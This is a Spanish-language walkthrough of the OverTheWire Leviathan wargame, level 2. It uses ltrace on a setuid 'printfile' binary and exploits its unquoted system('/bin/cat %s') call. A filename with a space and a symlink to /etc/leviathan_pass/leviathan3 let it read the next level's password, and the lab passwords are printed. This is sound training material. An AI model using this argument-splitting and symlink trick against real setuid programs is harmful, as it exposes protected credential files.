Level 1 –> Level 2

Logueamos:

ssh leviathan2@leviathan.labs.overthewire.org -p 2223
Password: ougahZi8Ta

**Observamos que en el home directory tenemos un archivo ejectuable llamado printfile:
leviathan2@leviathan:~$ ls
printfile

leviathan2@leviathan:~$ ./printfile
*** File Printer ***
Usage: ./printfile filename

Realizamos un ltrace para ver los parámetros que nos pide. Vemos que si le pasamos un archivo, nos imprimirá el contenido:

leviathan2@leviathan:~$ ltrace ./printfile
__libc_start_main(0x804852b, 1, 0xffffd784, 0x8048610 <unfinished …>
puts(«*** File Printer ***»*** File Printer ***
) = 21
printf(«Usage: %s filename\n», «./printfile»Usage: ./printfile filename
) = 28
+++ exited (status 255) +++

Creamos una carpeta en tmp, para intentar explotar file:

leviathan2@leviathan: mkdir /tmp/websecurity && touch /tmp/websecurity/file\ derp.txt

Vemos los pasos que realiza mediante ltrace:

leviathan2@leviathan:/tmp/websecurity$ ltrace ~/printfile file\ derp.txt

__libc_start_main(0x804852b, 2, 0xffffd744, 0x8048610 <unfinished …>
access(«file derp.txt», 4) = 0
snprintf(«/bin/cat file derp.txt», 511, «/bin/cat %s», «file derp.txt«) = 22
geteuid() = 12002
geteuid() = 12002
setreuid(12002, 12002) = 0
system(«/bin/cat file derp.txt»/bin/cat: file: Permission denied
/bin/cat: derp.txt: No such file or directory
<no return …>
— SIGCHLD (Child exited) —
<… system resumed> ) = 256
+++ exited (status 0) +++

Realizamos un link simbólico al fichero que contiene el password:

leviathan2@leviathan: ln -s /etc/leviathan_pass/leviathan3 /tmp/websecurity/file

Explotamos la vulnerabilidad:

leviathan2@leviathan:/tmp/websecurity$ ~/printfile «file derp.txt»
Ahdiemoo1j
/bin/cat: derp.txt: No such file or directory